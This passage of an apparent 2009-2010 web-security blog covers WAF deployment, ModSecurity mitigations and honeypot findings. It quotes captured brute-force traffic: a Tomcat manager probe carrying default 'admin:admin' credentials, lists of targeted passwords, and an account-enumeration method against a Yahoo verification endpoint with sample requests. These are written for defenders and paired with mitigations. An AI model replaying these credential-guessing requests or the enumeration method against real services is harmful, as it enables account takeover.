The first sentence is the key from a WAF perspective as all users want to add in the security inspection without negatively affecting end users. If you deploy an out-of-line WAF, then there will be no added performance or latency hit. If, on the other hand, you deploy an inline WAF then there is going to be a negative impact due to the SSL decryption, traffic inspection and probable SSL re-encryption on the back-end. It is for this reason that many inline WAFs have had to add on the application acceleration aspects to attempt to off-set this performance hit. So, you end up having a WAF vendor that is then trying to bolt on ADC types of functions and compete with other vendors who specialize in this space (such as an F5). On the flip side, you have ADC vendors (again like an F5) who specialize in application delivery who try and also bolt on add-on modules to provide web application firewall functionality. The main problem I see on both fronts is that they are going outside of their core competency. When deploying a WAF, it is best to do an architecture review to identify the ideal location for both inspection and blocking of traffic. This may include placing WAFs either before or after existing HTTP Load Balancers. There are benefits of both approaches. From a blocking perspective, an out-of-line WAF has a better chance of terminating a TCP connection if it is deployed directly in front of another layer 7 inspection device. On the performance front - if you can terminate SSL decryption on the load balancers, then placing the WAF behind them will make it more performant.

WAF Virtual Patching Workshop at Blackhat USA 2010

2010-03-09T11:10:00.004-05:00

Submitted by Ryan Barnett 03/09/2010

Just wanted to let everyone know that if you are headed to Blackhat USA 2010 this summer in Las Vegas, we have just added a 1-day workshop on the day before the Briefings start -

http://www.blackhat.com/html/bh-us-10/training/bh-us-10-training_RB-WAFVirtPatch.html

In the workshop, we will be mainly discussing the "Virtual Patching" concept of using a WAF (ModSecurity in this case) and we will use the OWASP WebGoat app as the target. In the workshop, we will talk virtual patching theory and then have hands-on labs where we will show how to use Mod to virtually patch the various WebGoat lessons. As a side note - we will also have a section on the new CRS v2.0 when discussing negative security models. So, if you want to come and dive into the deep-end of the pool and have fun using some of ModSecurity's advanced features (such as Lua and Content Injection) then sign-up now!

Brian Rectanus and I hope to see you all in Vegas!!! :)

Top 10 Hacks of 2009 and WAF Mitigations

2010-03-03T12:58:00.005-05:00

Submitted by Ryan Barnett 03/03/2010

Jeremiah Grossman gave his “2010: A Web Hacking Odyssey – The Top Ten Hacks of the Year” talk here at RSA this morning where he presented on the Top 10 Hacks list gathered from readers of his blog. In preparation for his talk, he contacted me and ask if/when/how a web application firewall could be used to help mitigate these issues. What a great question! :) So, in case you were not able to attend his RSA talk today, I am going to outline which items can been addressed by WAFs.

HTTP Parameter Pollution (HPP) Luca Carettoni, Stefano diPaola

I actually had a previous HPP post on my blog and in it I present one approach that a WAF can take to identify potential HPP attacks and that is to learn whether or not having multiple parameters with the same name is normal for the specific URL resource and flagging when duplicates are present. This type of behavioral profiling of requests, that identify request construction deviations, is critical for identifying non-injection types of attacks. Most input validation is done on parameter payloads and not the request as a whole. This helps to identify some HPP attack variants but it does not cover all examples attack vectors from the presentation. For the business logic attacks where a new parameter is added which may alter a mid-tier HTTP request, a learning WAF should flag this as an anomalous parameter. Finally, for HPP attacks that aim to split attack payloads across multiple parameters of the same name in order to bypass negative security filters, the only real way to attempt to identify these attacks is to mimic what the back-end web application will do with the request. In the case of ASP/ASP.NET, the app will take all of the payloads of parameters with the same name and then join them together into one payload (separated by commas). A WAF would need to do this as well and then take the new consolidated payload and run it through the standard security checks looking for attack payloads. As a matter of fact, we have added some experimental rules to the OWASP ModSecurity Core Rule Set Project v2.0.6 to do just this.

Slowloris HTTP DoS Robert Hansen, (additional credit for earlier discovery to Adrian Ilarion Ciobanu & Ivan Ristic - “Programming Model Attacks” section of Apache Security for describing the attack, but did not produce a tool)

The DoS concept behind Slowloris is important as many organizations don't truly understand the threat, how effective it can be and how difficult it may be to identify if you are being hit by it. This is not the typical "flooding" type of attack where the network or web app is being saturated by HTTP requests. In these scenarios, there are other network security/infrastructure devices that may be able to identify and respond. In the case of Slowloris, however, the web app is basically in a holding pattern waiting for the layer 7 HTTP request... So, how can a WAF help? In an earlier post I had entitled "Identifying DoS Conditions Through Performance Monitoring" I outlined how a WAF can help to identify a Slowloris type of attack by monitoring and learning the transactional metrics associated with the website content. Specifically, Breach's WebDefend appliance learns the key metric of how long it takes for a client to complete sending the HTTP request data to each resource. This is graphically displayed in the Performance dashboard and it is easy to visually identify when there are request receiving issues.

On a more tactical note for Apache - it is possible to identify a Slowloris type of attack by doing two things -

1) Decrease the default Apache Timeout directive setting. By default it is set to 300 seconds which makes it quite easy for Slowloris to DoS the site. It should be lowered to something much smaller like 10-30 seconds.

2) Use the httpd-guardian perl script from Ivan Ristic's Apache Security tools package with the ModSecurity SecGuardianLog directive. Having this external application monitoring the Apache logs allows it to identify these automated attacks and issue alerts and/or blacklist rules for IPTables.

Microsoft IIS 0-Day Vulnerability Parsing Files (semi‐colon bug) Soroush Dalili

The concept of Impedance Mismatch is a re-occurring theme with these issues. Correctly parsing uploaded file information can be tricky as you must correctly interpret the file meta-data (such as the filename, etc....) in the same way as the web app. In this particular case, the attacker is tricking the application file uploading resource by appending a bogus file extension after a semi-colon however the IIS server will interpret it as an ASP page and execute it. In this case, a WAF must get the filename parsing correct and enforce allowable character-sets. The second part is to do some actual file upload inspection to identify what the uploaded file actually is. ModSecurity has the @inspectFile operator which will temporarily dump the file attachment to disc and allow for AV scanning or some other custom logic. This can help to verify that the file type is actually what you are expecting.

Exploiting unexploitable XSS Stephen Sclafani

For XSS, it is important to try and identify the root cause of the problem which is web apps that fail to properly track user supplied data and apply appropriate output escaping. From a WAF perspective, it is possible to identify reflective XSS attacks by mimicking the Dynamic Taint Propagation concept of tracking user supplied data and seeing where it is misused. In this case, we want to inspect any request data to see if it might have meta-characters that are used in XSS attacks and then capture the full parameter payloads. We then inspect the response body content to see if the same data is present. If it is, then the application is not properly output escaping user supplied data. I outlined this concept and showed some examples using ModSecurity in a previous Blackhat DC presentation.

Our Favorite XSS Filters and how to Attack them Eduardo Vela (sirdarckcat), David Lindsay (thornmaker)

Ahh, the fine art of filter evasions... Let me be clear, it is not possible to have 100% protection from XSS payloads if you are using only a negative security model approach. There are just too many ways that an attacker can have functionally equivalent code and bypass signatures. The only hope that you really have is when your web application should not accept *any* html data. If your app has to allow html data but you want to filter out malicious payloads, then looking at something like Anti-Samy is a good choice. One important note about filter evasions and XSS - most people believe that if an attacker is able to bypass the filter that he/she wins. In practice, that is not always the case. What I have seen is that the XSS payloads have to be munged up so much in order to bypass the filter that it no longer will execute in a target's browser. In an attempt to improve XSS negative signatures, we launched the ModSecurity CRS Demo page which allows the community to send attacks and see if they can evade the rules. This has been a great research tool to help us to improve our signatures in both ModSecurity and WebDefend.

IP Reputation and WAFs

2010-03-02T16:10:00.006-05:00

Submitted by Ryan Barnett 03/02/2010

In an earlier post I warned against web application security puffery - and it seems as though I am being hit by a tidal wave of it as I sit here at RSA this week... The puffery usually starts off with the phrase "The Industry's first..." and this is rarely the case. In most instances, the concepts/theories of the new features have actually be around and in use by competitors for some time but have not been highlighted by marketing teams with huge conference fanfare and press releases.

The latest example of this is another WAF vendor announcing their reputation-based capabilities. Again - the issue is not that this feature is not useful but rather that it isn't the first in the industry. Breach products have had the capability to do real-time blacklist lookups for years now and it is actually in use as part of the WASC Distributed Open Proxy Honeypot Project. In the honeypot deployments, we are querying the RBLs at SpamHaus to identify SPAMMER source IPs and factoring this into our anomaly scores.

The other "new" WAF industry feature is IP Forensics capabilities which factors in GeoIP data. Once again, Breach products have had automatic GeoIP resolution for quite some time to help provide geographic context to the source of events. Additionally, WebDefend has the capability to customize a 3rd party interface that allows the user to right-click on an event and query an external IP reputation website such as Dshield which provides a much wider view of attack data. The helps to automate an analyst's initial incident response steps to identify if the source of attacks they are seeing is due to random scanning or if perhaps they are being targeted. If Dshield reports a large number of records against the IP then that means that many other networks are reporting attacks from this source. This would indicate that the local event data the WAF is reporting is most likely part of a larger scanning effort. If, on the other hand, Dshield is not reporting any records for the IP, then this might indicate that the local WAF events are part of a targeted attack against your website.

Weekly Round-Up of Web Hacks, Attacks and Vulns (Monday, Mar 1)

2010-03-01T15:06:00.000-05:00

Submitted by Ryan Barnett 03/01/2010

Hacks
NSW Government alleges transport website hacked - sensitive information leakage.
Argentina Coach Diego Maradona's Website Hacked - defacement
Kosovo’s Presidency Website Hacked - defacement/downtime
National Theatre hack forces password reset - unauthorized access/sensitive data leakage

Attacks
Baidu: Registrar 'incredibly' changed our e-mail for hacker - domain hijacking

Weekly Round-Up of Web Hacks, Attacks and Vulns (Monday, Feb 22)

2010-02-22T09:50:00.000-05:00

Submitted by Ryan Barnett 02/22/2010

Hacks

Hackers Manipulate Grader.com of Twitter - compromised Twitter tools in order to send out SPAM tweets.

Falkland Islands website hacked to display pro-Argentinian flag and messages - defacement/hacktivism.

Attacks

Security Companies Warn Google on Spammers Targeting Google Buzz

Vulns

Google Buzz Security Flaw - XSS flaw.

SANS @RISK List

Web Application - Cross Site Scripting

Web Application - SQL Injection

Web Application

CWE/SANS Top 25 Most Dangerous Programming Errors 2010 - WebApp Focus Profile

2010-02-16T13:40:00.001-05:00

Submitted by Ryan Barnett 2/16/2010

Mitre and the SANS Institute have once again teamed up to create the new 2010 CWE/SANS Top 25 Most Dangerous Programming Errors list. As opposed to the OWASP Top 10 Web App Security Risks list, the CWE/SANS list includes all software so many of the issues raised are not applicable to web apps. One of the cool features of the new list, however, is the inclusion of "focus profiles" which provides a more focused, contextual view of the issues. I was able to work on a web application-specific focus profile of the list and I will present it below. Keep in mind that this is not an official list yet however I will continue to work with Steve Christey in order to complete the development.

Web Application Emphasis
This profile ranks weaknesses that are important from a web application perspective. The list maps its base CWE components from the Insecure Interaction Between Components Category-base view as these items are all directly related to web application isues. This data was then correlated with the OWASP Top Ten Project, the Web Application Security Consortium (WASC) Threat Classification and takes a priority ranking focus based on real-world web application compromise data as gathered by the WASC Web Hacking Incident Database (WHID). The inclusion of WHID data allows for this focus profile to factor not only Prevalence and Importance but also Attack Frequency data. This accounts for the adjustments to the ranking order and the discrepancies between the individual lists. Each entry includes relevant mappings/references to the OWASP Top 10, WASC Threat Classification and WASC WHID Entries.

Combined Top 10 List (CWE/SANS, OWASP Top 10, WASC Threat Classification, WASC WHID)

CWE-89: Improper Sanitization of Special Elements used in an SQL Command ('SQL Injection')
OWASP A1: Injection
WASC-19: SQL Injection
WHID: SQL Injection
CWE-79: Failure to Preserve Web Page Structure ('Cross-site Scripting')
OWASP A2: Cross-site Scripting (XSS)
WASC-8: Cross-site Scripting (XSS)
WHID: XSS
CWE-307: Missing Authentication for Critical Function
OWASP A3: Broken Authentication and Session Management
WASC-01: Insufficient Authentication
WHID: Insufficient Authentication
CWE-307: Improper Restriction of Excessive Authentication Attempts
OWASP A7: Failure to Restrict URL Access
WASC-11: Brute Force
WHID: Brute Force
CWE-352: Cross-Site Request Forgery (CSRF)
OWASP A5: Cross-site Request Forgery (CSRF)
WASC-9: Cross-site Request Forgery (CSRF)
WHID: CSRF
CWE-209: Information Exposure Through an Error Message
OWASP A6: Security Misconfiguration
WASC-13: Information Leakage
WHID: SQL Injection -> Information Leakage
CWE-327: Use of a Broken or Risky Cryptographic Algorithm
OWASP A3: Broken Authentication or Session Management
WASC-18: Credential/Session Prediction
WHID: Credential/Session Prediction
CWE-285: Improper Access Control (Authorization)
OWASP A7 – Failure to Restrict URL Access
WASC-02: Insufficient Authorization
WHID: Insufficient Authorization
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
OWASP A4: Insecure Direct Object Reference
WASC-33: Path Traversal
WHID: Path Traversal
CWE-78: Improper Sanitization of Special Elements used in an OS Command ('OS Command Injection')
OWASP A1: Injection
WASC-31: OS Commanding
WHID: OS Commanding

Weekly Round-Up of Hacked Websites (Monday, Feb. 15)

2010-02-15T16:21:00.004-05:00

Submitted by Ryan Barnett 02/15/2010

- 'Jersey Shore' star's website 'hacked' - Most likely compromised passwords on Facebook/Yahoo accounts.

- Federal government website hacked - Seems to be some hacktivism protesting proposed Internet filtering. Not sure of any details of the exact attack vector.

- Prominent Blog hacked - site is http://www.blogosin.org/ and based on the 500 level error and "Error establishing a database connection" message it looks like the attackers messed up the back-end DB connection.

- Armenian Agos Newspaper's Website Hacked - defacement/hacktivism.

- Orange Regional Website Hacked, Sixty thousand accounts compromised - sql injection.

- TCS website hacked - most likely DNS poisoning/Domain Hijacking.

Beware of Web App Sec Puffery

2010-02-12T09:44:00.015-05:00

Submitted by Ryan Barnett 02/12/2010

Have you seen that new Dominos pizza commercial about "Puffery?"

Dominos was referencing an appeals court ruling on Papa John’s slogan "better ingredients, better pizza" where it concluded that statement was "puffery." Unfortunately, Puffery is a marketing tactic that is not relegated to the pizza industry. In the web application security market, Puffery abounds... Just read some of the marketing claims on company's websites or the collateral they pass out at vendor expos. How is a consumer supposed to cut through the puffery and get a more accurate assessment of the web application security product at hand?

Application Security Consultant Larry Suto recently published another Dynamic Application Security Testing (DAST) tool evaluation report entitled, “Analyzing the Accuracy and Time Costs of Web Application Security Scanners.” In the report, he compared the vulnerability detection rates of many commercial black-box vulnerability scanners including: Acunetix, IBM AppScan, BurpSuitePro, Cenzic Hailstorm, HP WebInspect, NTOSpider, and Qualys WAS (Software-as-a-Service).

While no evaluation report of this nature will ever obtain 100% consensus on its merits, especially by those reviewees that didn't fair well, the methodology used in this report is pretty good. Using each vendor's public "buggy" web app as targets was interesting as you would think that each vendor would score the best on their own site (they did scan their demo site to verify accuracy, right?) and slightly less on their competitor's. While comparatively speaking, this may have been true, what was really enlightening was the high false negative rates even after the scanners were provided full URL listings and tuned by vendors. Fully understanding the state-of-the-art scanning challenges is critical for users.

So, how does this type of DAST evaluation impact the WAF market? Ofer Shezaf has some great points in his WAFs aren't perfect, but is any security perfect? post where he states the following:

No single security solution is sufficient. Only combining multiple defense mechanism would provide adequate security, which still does not imply 100%

This is why it is a shame that PCI pits SAST/DAST vs. WAFs in requirement 6.6. It really isn't an "either" situation and most users don't read the 6.6 Supplemental guide which states that PCI recommends "both" options for increased security coverage.

Security products do differ in the security functionality they provide. Many times customers select security products according to every other feature but security assuming that the security aspect of the product are performed adequately by all. However Suto's paper shows that this may not be the case.

I have seen many of these issues first hand when working with WAF prospects during RFI/evaluation phases where vendor puffery abounds and prospects assume that the security coverage of each product is equal and this is not the case. Put simply - not all WAF learning systems are created equal. Most end users equate learning with achieving a positive security model for parameter input validation of payloads (size and character class). This is the most basic component that all commercial WAFs should have (WASC WAFEC v2 will tackle these must-have requirements) but a top tier WAF leaning system (such as the Adaption engine in Breach Security's WebDefend product) goes beyond input validation into behavioral profiling which tracks much more meta-data about the proper format and construction of the transactional data. This allows it to identify when request methods and parameter locations change due to CSRF attacks or when there are suddenly multiple parameters with the same name (HTTP Parameter Pollution attacks). Input validation alone will not catch these types of cutting-edge attacks.

The lack of scrutiny of the security features drive security vendors to neglect security and focus on other areas such as GUI, reporting or manageability. This is shown in its extreme by the inability of some scanners to find existing vulnerabilities in sites provides for testing by the vendor itself.

As the Director of Application Security Research for Breach Security, my main focus is obviously security. Other features are nice and do influence many prospects, but in in my view a WAFs main purpose to to identify and block attacks. It is for this reason that we deployed the ModSecurity/Core Rule Set (CRS) demonstration testing page. Breach is in a unique position in the web application firewall industry. Having an open source product such as ModSecurity in our portfolio allows us to expose our security rules to the public for quality assurance and testing purposes in ways that other WAF vendors cannot. Our goal for this demo page is to leverage the global pool of outstanding web application security experts to help test ModSecurity to make it, and our WebDefend product, better tools for the community at large. Benefits of providing the demonstration testing page include:

The Core Rule Set is being tested by pen-testing specialists who are experts in breaking into web applications and evading security filtering devices.

Signature improvements are leveraged back into the entire Breach Security product line including WebDefend. I can tell that having these pentesting consultants bang on the CRS has allowed us to identify a number of evasion issues and update our rules appropriately.

I wouldn't want for these statements to fall into the Puffery category :) so you can check this yourself by reviewing our JIRA ticketing system to get an idea of the types of issues identified and their resolutions. Are there any other WAF vendors that are providing this type of access to their rules development process?

Similar to the conclusions made with vuln scanners, in order to get an accurate testing of a WAF you must deploy it in your environment to verify how it does analyzing your web application traffic. This is the only true way that you will be able to confirm how it does.

Bottom line - don't rely on Puffery claims by a vendor. Test the solution yourself.

Top 10 Targeted Passwords

2010-02-09T16:40:00.015-05:00

Submitted by Ryan Barnett 02/09/2010

There has been a lot of Internet chatter recently about the RockYou passwords that were exposed when attacker's extracted them by using SQL Injection. This huge data set did offer a unique look into what types of passwords user will chose - if no password complexity rules are enforced.

These weak passwords are a critical component of the overall RISK equation, however they do not include perhaps the most important factor - are any of these passwords being used by attackers in actual brute force attacks? These passwords got me thinking and I went back into the data we have collected at the WASC Distributed Open Proxy Honeypot Project and specifically reviewed the top passwords targeted by attacker's during their Yahoo horizontal brute force attacks. Here is a listing of the top passwords that we have identified as used in these reverse/horizontal (when the attacker chooses one password and cycles through different usernames) attacks -

weezer
123456
1234567
qwerty
killyou
america
pakistan
Jennifer+Lopez
yankees
000000

As you might guess, some of these passwords also appear in the RockYou data set and are easily guessed/brute forced by hacking tools (as they are all numbers or dictionary words).

I attribute the absence of other common passwords (such as "password") to our small data set (~470 requests) compared to RockYou. I am assuming that our honeypots are only seeing small portions of this distributed scanning as our honeypots are but one of probably many proxies that attackers are sending their attacks through. So even though the data presented here is statistically insignificant compared to the size of the RockYou data set, it does provide corollary evidence of the passwords that are actually being targeted in brute force attacks.

2010 Web Application Security Predictions

2010-01-18T12:33:00.006-05:00

Submitted by Ryan Barnett 01/18/2010

It is always an interesting exercise to analyze web application security compromises and then try and predict what might happen in the future. Based on the data gathered by the WASC Web Hacking Incident Database (WHID) and other resources such as datalossdb, etc... there are a few types of incidents that seem probable for the 12 months.

Web-based worms will migrate off social networking sites

As we have seen from the previous sections, social networking types of web sites have fallen victim to web-based XSS/CSRF worms. It seems as though these types of web sites are a perfect testing ground for these types of attack mechanisms, however the attackers ideally want to migrate these attacks off to other types of web sites.

We believe that attackers will utilize Web 2.0 features such as RSS feeds, AJAX and widgets to propagate malicious code on other web sites. A Probable target for attackers, due to its enormous user base, is iPhone financial web apps such as:

Mint
Bank of America Online Banking
E*Trade Mobile
Bloomberg Mobile

Planting of malware will become a top concern

Organizations can not afford to allow their web sites to serve malicious content to their customers. If this happens, consumer confidence will waiver and may cause them to move elsewhere. Another impact is that high profile web search engines such as Google may tag the web site as malicious and warn users. This negatively impacts Search Engine Optimization (SEO) efforts.

This is one of those scenarios that can directly impact the bottom-line such as stock prices. Due to this risk level – organizations will focus more efforts on security capabilities to inspect outbound content to ensure that it is non-malicious.

Attacks against web-based critical infrastructure components

It is no secret that terrorists and adversarial nation-states are seeking the capabilities to attack and disrupt critical infrastructures in the United States. Nuclear power plants, power grids, transportation control systems are all targets and they also share a similar capability – they often have web-based front-ends. The bad guys are seeking to exploit web-based flaws in order to be able to obtain access to data or the ability to shut down or cause a denial of service condition.

HTTP Denial of Service attacks will take down important sites

Whereas network level DoS attacks aim to flood your pipe with lower-level OSI traffic (SYN packets, etc...), web application layer DoS attacks can often be achieved with much less traffic. Just take a look at Rsnake's Slowloris app if you want to see a perfect example of the fragility of web server availability. The point here is that the amount of traffic which can often cause an HTTP DoS condition is often much less than what a network level device would identify as anomalous and therefore would not report on it as they would with traditional network level botnet DDoS attacks.

Network DDoS attacks aimed at web sites can still be effective if the circumstances are right, however there are other web application specific types of attacks that are much more effective while simultaneously requiring much less traffic. Odds are that there will be a number of high profile web sites that are knocked offline during 2010.

Identifying Denial of Service Conditions Through Performance Monitoring

2009-10-06T11:48:00.004-04:00

Submitted by Ryan Barnett 10/06/2009

Here is an interesting web application threat modeling exercise for you - how do you plan to identify and mitigate web application level denial of service conditions on your web sites?

This is one of those pesky security questions that, on the surface, seems pretty straight forward and then when you start peeling back the layers of complexity and interactions it becomes much more challenging. Here are some items to keep in mind.

Network DoS vs. Web App DoS

Whereas network level DoS attacks aim to flood your pipe with lower-level OSI traffic (SYN packets, etc...), web application layer DoS attacks can often be achieved with much less traffic. Just take a look at Rsnake's Slowloris app if you want to see a perfect example of the fragility of web server availability. The point here is that the amount of traffic which can often cause an HTTP DoS condition is often much less than what a network level device would identify as anomalous and therefore would not report on it as they would with traditional network level botnet DDoS attacks.

Rate Limiting

A common identification/mitigation implementation is to attempt Rate Limiting. This is essentially done by setting request threshold limits over a predefined period of time and monitoring request traffic for violations. While this is certainly useful for identify aggressive automated attacks, it has its own limitations.

What resources to protect?

While protecting a web application login page is straight forward, many web site owners have not properly identified which resources are both critical and susceptible to DoS conditions. There are many web apps that are extremely resource intensive and take a long time to complete - for example any reporting interface that needs to query a back-end database to generate large reports. These apps are perfect targets for a DoS attack as the overall number of requests needed to consume open http sockets and RAM is much lower than a request for a static resource.

What threshold to set?

Rate limiting is not a "one-size fits all" approach. It is highly dependent upon the resource itself. The threshold you would set against a login page to identify a brute force attack is much different then what you might set in order to identify a data scraping or DoS attack. The challenge for the defender is knowing ahead of time what to set. This is not easy as most users are missing a significant piece of the puzzle - correlating web application performance statistics. You may set an inbound rate limiting threshold for a resource that is either much too high and the application could fail due to the load (false negative), or you might set it much too low and start firing off alerts when in fact the application is able to handle the load quite fine (false positive).
Web Application Performance Monitoring

The best method for identifying fragile web resources and potential DoS thresholds is to actually monitor and track web application transaction processing times. Breach Security today announced that WebDefend 4.0 has a new Performance monitoring capability that aims to fill this important need.

With performance monitoring, the WAF user can track the average processing time including the combined average request time, web server processing time and response time. The following definitions apply in this pane:

• Request time is measured from the first packet to the last packet of the request.

• Web server processing time is measured from the last packet of the request to the first packet of the response.

• Response time is measured from the first packet to the last packet of the response.

With this information, it is easy to quickly identify the top URLs with high response latency and to pinpoint whether this is an application processing or networking issue. This data is a much truer picture of DoS conditions vs. rate limiting thresholds. The main advantages that this data brings to DoS threat modeling are identification of fragile resources that would be susceptible to attacks and to identify the an estimated threshold setting.

WASC Honeypots - Apache Tomcat Admin Interface Probes

2009-10-05T09:58:00.002-04:00

Submitted by Ryan Barnett 10/05/2009

We have seen some probes similar to the following in our WASC Distributed Open Proxy Honeypots -

GET /manager/html HTTP/1.1
Referer: http://obscured:8080/manager/html
User-Agent: Mozilla/4.0 (compatible; MSIE
5.01; Windows NT 5.0; MyIE 3.01)
Host: obscured:8080
Connection: Close
Cache-Control: no-cache
Authorization: Basic YWRtaW46YWRtaW4=

This appears to be a probe attempt to access the Apache Tomcat Admin interface. This is due to the combination of URI "/manager/html" and port 8080. It looks as though the client is submitting authentication data in the Authorization header. If you decode the base64 data, it shows the credentials as "admin:admin" which is the default username/password combination when Tomcat is installed.

WASC Honeypot participant Erwin Geirnaert has seen similar activity and provides more data here. The attackers are conducting brute force scans trying different passwords for the "manager" account -

manager:Test
manager:adminservermanager:sqlserver
manager:2009
manager:159753
manager:1234qwerasdfzxcv
manager:1234qwerasdf
manager:1234qwer
manager:123qwe
manager:123qweasd

What do the attackers want to do once they gain access to the Tomcat server? Install backdoor/command WAR files so that they can execute code. Time to double check your default account passwords and implement those ACLs to only allow authorized clients to your Management interfaces...

Distributed Brute Force Attacks Against Yahoo

2009-09-14T11:44:00.008-04:00

Submitted by Ryan Barnett 09/14/2009

As part of the WASC Distributed Open Proxy Honeypot Project (DOPHP), we have been able to track some pretty extensive distributed brute force attacks against Yahoo end-user email accounts. Valid email accounts and/or obtaining valid account credentials are a huge commodity for SPAMMERS. Identifying valid accounts is important as it allows them to only send SPAM messages to real accounts and they can also be able to sell lists of valid accounts to other SPAMMERS. Taking this a step further, if the SPAMMERS are able to enumerate valid credentials for an account (username and password) they can then hijack the account and use it for SPAMMING.

Normal Web Login

This methodology is not new and Yahoo is obviously aware of these attacks aim at their Yahoo mail web login interface page. This login page looks like this -

When a client clicks submit, the request looks similar to the following -

POST /config/login? HTTP/1.1
Host: login.yahoo.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: https://login.yahoo.com/
Cookie: B=ffetg09557ar5&b=3&s=od; cna=zwISA2sCdzgBAS+RbUtyRRes; Y=%2e
Content-Type: application/x-www-form-urlencoded
Content-Length: 296

.tries=1&.src=&.md5=&.hash=&.js=&.last=&promo=&.intl=us&.bypass=&.partner=&.u=007ofj55asupi&.v=0&
.challenge=hKhk9.OX5y0EOqJ3c4yxAH_rSrx5&.yplus=&.emailCode=&pkg=&stepid=&.ev=&hasMsgr=0&.chkP=Y&.done=http%3A%2F%2Fmy.yahoo.com&.pd=_ver%3D0%26c%3D%26ivt%3D%26sg%3D&login=foo&passwd=bar&.save=Sign+In

Notice the in the post payload that the application is tracking how many "tries" have been attempted. This is useful for throttling automated attacks and once a client goes over a limit, Yahoo then presents the user with an added CAPTCHA challenge -

Also notice that the login page is presenting the end user with a generic error message indicating that the credentials were not correct but it does not inform the user whether it was the login or password that was wrong. All of this type of anti-automation defense is good. The problem is - is Yahoo applying this type of defense consistently throughout their entire infrastructure? Are there any ways for the SPAMMERS to find a backdoor? Unfortunately, yes.

Web Services App

The WASC DOPHP has identified a large scale distributed brute force attack against what seems to be a web services authentication systems aimed at ISP or partner web applications. The authentication application is named "/config/isp_verify_user". Google links for the "isp_verify_user" app are here. One thing you will notice in looking at these results is that there is an incredibly large number of Yahoo authentication subdomains that are hosting this application and are able to authenticate clients. If you click on one of the links, you will see that the response data returned in the browser is terse. It is simply 1 line of data such as this -

ERROR:210:Required fields missing (expected l,p)

The format of this data is obviously not intended for end users, but it more tailored for parsing by web service applications. It very well could be that many front-end web applications are validating the credentials submitted by clients to these isp_verify_user app. This particular error message is returned when a client does not submit the l (login) and p (password) parameters.

If a client sends a request for a login/username that does not exist, the app will return a message of -

ERROR:102:Invalid Login

Remember the generic error message presented on the normal login web page? Not here - it is easy for a SPAMMER to automate sending requests and cycling through various login names to identify if/when they hit on a valid Yahoo account name. When this happens, the application gives a different Invalid Password error message -

ERROR:101:Invalid Password

Note that this application does not implement any of the same CAPTCHA mechanisms that the standard login page does. This means that the attackers have an unimpeded avenue of testing login credentials. If the client sends the correct credentials, they will receive a message similar to the following (where username is the data submitted in the "l" parameter) -

OK:0:username

With this information, the SPAMMERS can then log into the enumerated email account and abuse it as they wish.

Scanning Methodology

Here is small snippet of some of the transactions that were captured -

Get http://l33.login.scd.yahoo.com/config/isp_verify_user?l=kneeling@ort.rogers.com&p=qwerty HTTP/1.0
Get http://l06.member.kr3.yahoo.com/config/isp_verify_user?l=kneading@ort.rogers.com&p=000000 HTTP/1.0
Get http://69.147.112.199/config/isp_verify_user?l=kitbags@ort.rogers.com&p=333333 HTTP/1.0
Get http://217.12.8.235/config/isp_verify_user?l=kirk@ort.rogers.com&p=yankees HTTP/1.0
GET http://69.147.112.217/config/isp_verify_user?l=__miracle&p=weezer HTTP/1.0
GET http://69.147.112.202/config/isp_verify_user?l=123#@!.._69_&p=weezer HTTP/1.0
GET http://68.142.241.129/config/isp_verify_user?l=__lance_&p=weezer HTTP/1.0
GET http://202.86.7.115/config/isp_verify_user?l=__kitty__69__&p=weezer HTTP/1.0

The attackers used a three dimensional scanning methodology as described below -

Distributing the scanning traffic through multiple open proxy systems. This changes the source IP address as seen by the target web application so basic tracking/throttling is more challenging.
Distributing the traffic across different Yahoo subdomains. The advantage to this is that even if some form of failed authentication tracking is taking place, it is more difficult to synchronize this data across all systems.
Diagonal scanning - submitting different username/password combinations on each request. This is instead of vertical scanning which is choosing 1 username and cycling through passwords or horizontal scanning which is choosing 1 common password and cycling through userenames.

*Diagonal, vertical, horizontal and three dimensional brute force scanning terminology is taken from a forthcoming book by Robert "Rsnake" Hanson.

Defensive Takeaways

Implement proper ACLs against all web services apps. In this case, the isp_verify_user app was clearly not intended for direct client usage however there are no ACLs that prevent an end user from accessing them.
Need to identify any rogue web application authentication interfaces. This is a big problem for organizations that are either newly deploying distributed web services apps or those who have newly acquired a business partner.
Every web application must have some form of anti-automation capability in order to identify when clients are sending these requests.

Identifying Anomalous Behavior

2009-09-10T09:13:00.003-04:00

Submitted by Ryan Barnett 09/10/2009

A quick test for you - can you tell what is abnormal about this web application request transaction that was captured by the WASC Distributed Open Proxy Honeypots Project?

GET http://www.example.com/ HTTP/1.1
User-Agent: User-Agent:Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10
Accept-Language: zh-cn
Accept: */*
Host: www.example.com
Cookie: dedifa=3984320578.43783.3716814272.929907673, BIGipCookie=0000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000, ASPSESSIONIDCSCBAQDQ=KMBPKNLCKCHMOMJAOPDPEPDF, pmaCookieVer=4, phpMyAdmin=98kdlkphdefb4lr6g5q9pke4if6gh0hg, pma_fontsize=82%25, session-id=00710064d8f2a4412ad4aeff56e96a2d, 802db0210e6b5f898c3d7fb3f82e11c0=-, _WealthCity_session=BAh7BzoPc2Vzc2lvbl9pZCIlN2NiMjM4MDM1Njk5ZDRlZTllMTY
4ZmZjYjE1NTVmNDU6EF9jc3JmX3Rva2VuIjE3YjVld0xiRkFvRy9zcnRJc1p1cDhsRldaZ
01TRTVqQ1l3RlhHUlNUNndVPQ%3D%3D--72c082556f241f5e62a26209b7c23cc42dbf
